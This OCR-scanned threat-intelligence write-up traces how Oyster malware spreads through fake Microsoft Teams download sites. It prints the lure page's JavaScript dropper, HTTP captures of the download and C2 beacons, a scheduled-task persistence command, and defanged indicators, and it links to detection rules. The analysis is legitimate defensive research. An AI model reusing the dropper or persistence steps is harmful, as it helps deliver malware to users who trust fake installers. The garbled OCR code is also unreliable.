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TL;DR
Oyster malware delivery via MS Teams Fake App.

Tactical Pause

THE CONTENT, VIEWS, AND OPINIONS EXPRESSED ON THIS DOCUMENT ARE MY OWN AND DO
NOT REFLECT THOSE OF MY EMPLOYER OR ANY AFFILIATED ORGANIZATIONS. ALL RESEARCH,
ANALYSIS, AND WRITING ARE CONDUCTED ON MY PERSONAL TIME AND USING MY OWN
PERSONALLY-ACQUIRED RESOURCES. ANY REFERENCES, TOOLS, OR SOFTWARE MENTIONED
HERE ARE LIKEWISE USED INDEPENDENTLY AND ARE NOT ASSOCIATED WITH, ENDORSED, OR
FUNDED BY MY EMPLOYER.

Intro

Oyster malware is being delivered via an MS Teams Fake App. This will not cover what Oyster malware is, or its
history. This will cover the delivery, and it will cover some of the execution indicators. The intended audience for
this is Thruntellisearch analysts — that is threat hunt/intelligence/research analysts. This will include links to
hIGMA and SIGMA rules to hunt internally and externally.

Initial Lead

The initial lead for this was a post by David Kasabji (@roo7cause) on X [1]. The Conscia link has more details
[2].
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“ Post

.‘f"’:l. David Kasabji &)

We detected a new somewhat sophisticated campaign abusing spoofed
installer. The malware is hosted on a legitimate
looking website, which seems to be part of redirect chain. Each new
download produces a unique file hash - so that is not reliable indicator.
The executable is signed so MDE did not prevent it. It was detected
when it tried to connect to their C2. The initial domains [ certs are newly
registered in the last 2-3 days.
Qur investigation is ongoing, will provide more in article.

So far, | share some 10Cs to help you try prevent the threat:

- teams-installl.Jicu (hosting malware)

- signer: KUTTANADAN CREATIONS INC.

- nickbush2A4[.Jcom (exfil / C2 server)

- Filename: MSTeamsSetup.exe (the hash changes, but here is what we
Saw: )

Tagging for visibility

€

.‘f":l. David Kasabji
We published an article about this threat investigation:

I used the teams-install[.]icu indicator that David provided. urlscan has a scan task available for analysis [3].
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QO B urscanio B & e 1y

o urlscan. ﬁ Home Q Search 8 Live APl ¥ Blog I Docs G Pricing

teams-install.icu
Malicious Activity! m W Add Verdict

URL: team i/
Submission: On September 25 via manual (September 25th 2025, 1:41:35 pm UTC) from MX[HHl — Scanned from DEWE

ASummary SHTTP 62 A Redirects WFlinks 5 W Behaviour @ 4 indicators | & Similar [188] EDOM B Content EZAPI
Summary screenshot $ e crensot | 2rutioage

This website contacted 2 IPs in 2 countries across 2 domains to perform 69 HTTP transactions. "

The main IP is 104.21.72.190, located in Ascension Island and belongs to
S. The main domain is teams-install.icu. y
TLS certificate: Issued by WE1 on September 24th 2025. Valid for: 3 months. Download Microsoft L]
Teams for Windows e
scanned 16 times on urlscan.io S / 7
[ = | 5 ;
143 similar pages on different IPs, domains and ASNs found [ Show scans 143 | \

urlscan.io Verdict: Potentially Malicious @
Streamline communications in one place

Targeting these brands: ™= Microsoft

Page Title
Live information Download Microsoft Teams Desktop and Mobile Apps | Microsoft Teams
Google Safe Browsing: @

The main transaction to look for is the download-script.js. Note: sometimes the filename has numbers after

“download-script”.

GET 200 download-script js 2KB  416ms  Script 104.21.72.190
H3 teams-installicu/ application/javascript CLOUDFLARENET

General [ Qcheckarchiveors]| ® show headers [@Download] » Goto

FullURL  https://teams-install.icu/download-scriptjs
Requestedby  Host: teams-install.icu
URL: https://fteams-install.icu/

Protocol  H3
Security QUIC,, AES_128_GCM
Server 104.21.72.190, Ascension Island, ASN13335 (CLOUDFLARENET, US),
Reverse DNS
Software

Resource Hash

The response shows the value we want is stored in the apiUrls variable [4]. The snip below shows the apiUrls
value and the checkUrlAvailability function. I observed the apiUrls domain provides a decoy response if the

OPTIONS method and the application/json Content-Type header isn’t set.

const apilrls =
"https://witherspoon-law.com’,

1;

async function checkUrlAvailability(url) {
try {
const response = await fetch{url, {
method: "OPTIONS',
headers: {

"Content-Type': "application/json’,

13

return response.ok;
catch (error) {
return false;
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The next part will request the /create/link route. It will check if the apiUrls domain is available. When it is
available, it will create a POST request with the “msteams” Content-Encoding header added. When it receives the
download URL, it will add it as an anchor to the DOM, it will click the anchor, and then it will remove the link
from the DOM.

document.querySelectorAll( ' #downloadButton').forEach(function (button) {
button.addEventListener( 'click’, async function (event) {
event.preventDefault();

let selectedurl = null;
for (let url of apiUrls) {
let generationUrlCreate = url + "/create/link"
const isAvailable = await checkUrlAvailability(generationUrlCreate);
if (isAvailable) {
selectedUrl = url;
break;

1
J
if (!selectedurl) {

alert("There are no servers available for download. Try again later.');
return;

r
L

let generationUrlDownload = selectedUrl + "/create/link"

const response = await fetch(generationUrlDownload, {
method: "POST',
headers: {
‘Content-Type': "application/json’,
"Content-Encoding® : 'msteams’
JL

I3 H

if {!response.ok) {

alert('Network response was not ok ' + response.statusText)
1 else {

const data = await response.text();

const downloadUrl = selectedUrl + data;

const a = document.createElement(’'a’);
a.href = downloadurl;
a.download = "";
document.body . appendChild(a);
a.click();
document.body.removeChild(a);

JL

 catch (error) {
console.error( ' Error #1:', error);
alert("Error #1: ' + error.message);

I found a similar MS Teams Masq site (teams-install[.]top) and ran it in Any Run [5]. The urlApi variable was

eastridge-infotech[.Jcom. Here are the transactions below.

First there’s the OPTIONS request to the /create/link route with the application/json Content-Type header. There

were two of them. The first one is below.
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Wireshark - Follow HTTP Stream [tcp.stream eq 29) - 6d3e33b3-bfcc-4084-9d6a-70b0e594d43e.pcap

OPTIONS /create/link HTTR/1.1
Host: eastridge-infotech.co

KHTML, like Gecko

Sec-Fetch-Mode:
Sec-Fetch-Site:
Sec-Fetch-Dest:
Referer: https

Access-Control-Allow-Credentials: true

thorization, Accept, accept, origin, Cache-Control, X-Requested-With, Content-Encoding]
Access-Control-Allow-Methods: POST, GET, HEAD, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *

Content-Length:

Date: Sat, 27 Sep 2825 @80:43:42 aGM

Next is the POST request shown below. It shows the route to download the malware is
“/gov/e59b6d89b90dd6dbbe3aa3ac163eea3d659e952bac6abbf65b99e40157cb95£5”.

POST /create/link HTTP/1.1
Host: eastridge-infotech.co
Connection: keep-alive

Sec-Fetch-Site: cross-site
Sec-Fetch-Mode:

Sec-Fetch-Dest:

Referer: https://teams-install.top/|
Accept-Encoding: gzip, deflate,

Access-Control-Allow-Credentials: true

/gov/e59bada9bo@dd6dbbe3aalaclfleeaida59e952bacbabsbfa5ha9e4@157 chas5fs

The snip below shows the request for the malware from the downloadUrl. The filename is “MSTeamsSetup.exe”.
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Sec-Fetch-5ite:
Sec-Fetch-Mode:
Sec-Fetch-Dest:

HTTP/1.1 288 O

Accept-Ranges: bytes

Access-Control-Allow-Credentials: true

Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF
-Token, Authorization, Accept, accept, origin, Cache-Control, X-Requested-With, Con
tent-Encoding

Access-Control-Allow-Methods: POST, GET, HEAD, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *

Content-Disposition: attachment; filename="MSTeamsSetup.exe"

Content-Length: 128192

Content-Type: application/x-ms-dos-executable

Date: 5at, 27 Sep 2825 @0:43:46 GM

Last-ModiTied: Fri, 26 Sep 2825 14:19:22 GM

Execution

Any Run flags it as “oyster”. It creates the scheduled task “CaptureService”.

s5US "t':‘ explorerexe

lEJ MSTeamsSetup.exe  PE | | DMP

';.:. conhostexe 0xfffffff-Fo

lf.:. rundli32 exe  DMP | | \admin'AppD:

schiasks.exe /Create /SC MIMUTE /MO 11 /TN "CaptureS

schtasks.exe frun ftn "CaptureSe
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Beacon

Any Run shows MSTeamsSetup.exe connects to nickbush24[.]com.

a HTTP Requests Connections 131 DNS Requests Threats X PCAP v SSLKeys
Timeshift Protocol  Rep PID Process name CN 1P Port Domain S| Traffic
@

TP ? - Al
Ter | 7 M " ? £ kbu: + B27b 4  713Kb

The first request is a GET request to the /reg route using “WordPressAgent” as the User-Agent value. The

response body is success.
Wireshark - Follow HTTP Stream (tcp.stream eq 51) - 6d3e33b3-bfcc-4084-9d6a-T0b0e594d43e.pcap

GET /reg HTTP/1.1
Content-Type: application/json
w-amz-cf-id: CIETWISMFzeiegqXemiNeCQev/HIBuKeggazal2
Content-Encoding: gwdreSDRETVYB
ent
Host: nickbush24.co

Date: Sat, 27 Sep 2825 @8:44:55 GM

The second request is a GET request to the /login route using “FingerPrint” as the User-Agent value. The response

is some kind of encoded or encrypted value.

Wireshark - Follow HTTP Stream (tcp.stream eq 51) - 6d3e33b3-bfcc-4084-9d6a-f0b0e504d43e.pcap

GET /login HTTP/1.1

Content-Type: application/json

w-amz-cf-id: krPzc@pNxUgkHxrMBumPtatQ4H3z51REBnutkSa
Content-Encoding: gvdAsre51DRF112TVYB

User-Agent: FingerPrint

Host: nickbush24.co

Content-Length:

Cache-Control: no-cache

HTTP/1.1 2@@ O

Content-Type: image/x-icon

Date: Sat, 27 Sep 2825 88:44:55 G
Transfter-Encoding: chunked

The scheduled task was to run rundll32.exe. Any Run shows rundll32.exe communicate with

techwisenetwork][.]com.
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~ HTTP Requests Connections 131 DNS Requests Threats n X PCAP ~ SSLKeys ~
@ Timeshift Protocol Rep PID  Process name Cl 1P Port Domain S| Traffic
3 e + 10218 2Kh

t  B40b s76h

t B840b 577b

Wireshark - Follow HTTP Stream (tcp.stream eq 79) - 6d3e33b3-bfcc-4084-9...

GET /api/kcehc HTTP/1.1

User-Agent: Mozilla/6.8 (Windows NT 18.8; Win64; x64) ApplelebKit/547.36
ML, like Gecko) Chrome/109.8.8.8 Safari/537.36

Host: techwisenetwork.co

Cache-Control: no-cache

HTTP/1.1 2e8 O

Server: nginx/1.18.8 (Ubuntu)
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache, private
Date: Sat,

It next makes a POST request to the /api/kcehc route with content in the request body. The response is some kind

of encoded or encrypted response.

Wireshark - Follow HTTP Stream [tcp.stream eq 79) - 6d3e33b3-bfcc-4084-9...

POST /apifkcehc HTTP/1.1

Content-Type: application/json

User-Agent: Mozilla/6.8 (Windows NT 18.8; Wine4; x64) AppleWebiit/547.36
HTML, like Gecko) Chrome/189.8.8.8 Safari/537.36

Host: techwisenetwork.co

Content-Length:

7QbZukDkDwR=2vR=AdD=4=bNN1D=2vR=Adu=4=bZzITiV=HDvbZavDkDsF1NgONdTROKsyudji
uFvD+DvbZakDkD=04DvbZa=DkD=D+0vbZaQDkDey INsO/ NskeNvD+IvbZ4vDkDwuBD=5HDT j oy
w=2Ig+0=5HD]jguvDkDay iVIFYyXuHudRHN,/ bYDSDQKSDHa=8c 2wjGuSoT 2wo5aSA=E09933
HTTP/1.1 2868 O

cerver: nginx/1.18.8 (Ubuntu)

Content-Type: application/json

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache, private

Date: Sat,

BMjAMezBnlzAhwZBAET FC'EL-HHDLG aDleD\f\f?[uDLQDZthmQXEB"

Finally, there are multiple POST requests to the /api/jgfnsfnuefcnegfnehjbfncejth route. The request and response

appear to have encoded or encrypted content in the body.

Page 8 of 10



https://malasada.tech/oyster-malware-delivery-via-teams-fake-app/

Wireshark - Follow HTTP Stream (tcp.stream eq 93) - 6d3e33b3-bfcc-4084-9..  —

POST fapi/jgfnsfnuefcnegfnehjbfncejfh HTTP/1.1
Content-Type: application/json

Host: techwisenetwork.co

BNj IHxmxdILkHxbxnNjIjxmxUzOHTc7aTiDlL5z1r7igeuyHL5HIGE3HruMie3I9Ku7heYyAlcgl
REhXwSmgrubaulNdge3E1T3T9BEIHBpe9GEDzcYz3RzUZL3I59601ixe w25

HTTP/1.1 288 O

Server: nginx/1.18.@ (Ubuntu)
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache, private
Date: Sat, 27 Sep 2825 88:49:48 GM
Access-Control-Allow-Origin: *

{"content™: "4 T+PEYFYEb4NzyGNXTAprbvlksUNgrSndT3deyalrTiL1I 30X VrSubKy TvDV I il
UPmdELLNENCNOsxnU2 1dyxpley 3KW2aMUsC1UDEKXTYnXT 8Y5VH28"

Summary

Oyster malware is being delivered via MS Teams Fake App.

Indicators

teams-download[.]buzz
teams-download][.Jicu
teams-download][.]top
teams-install[.]icu
teams-install[.]top
teams-install[.]Jrun
eastridge-infotech[.Jcom
witherspoon-law[.]Jcom
techwisenetwork[.]Jcom
datadrivendreamers|.]com
cybersavvynetwork|[.]Jcom
daringdatadaredevils[.]Jcom
funkyfirmware[.]Jcom
185.28.119[.]228
51.222.96[.]108
51.222.96[.]169
135.125.241[.]45
85.239.53[.166

Page 9 of 10



https://malasada.tech/oyster-malware-delivery-via-teams-fake-app/

Pivots

The following pivots are written in hIGMA [https://github.com/MalasadaTech/hIGMA/tree/main].

Pivot on the title to find the masq pages:

Pivot on the response hash to find Oyster Malware C2:
https://github.com/MalasadaTech/hIGMA/blob/main/rules/oyster-malware-c2-via-response-hash.yaml
Detections

The SIGMA rules to detect these activities are listed here:

https://github.com/MalasadaTech/sigma/tree/main/rules/20250928-oyster-malware-delivered-via-teams-fakeapp.
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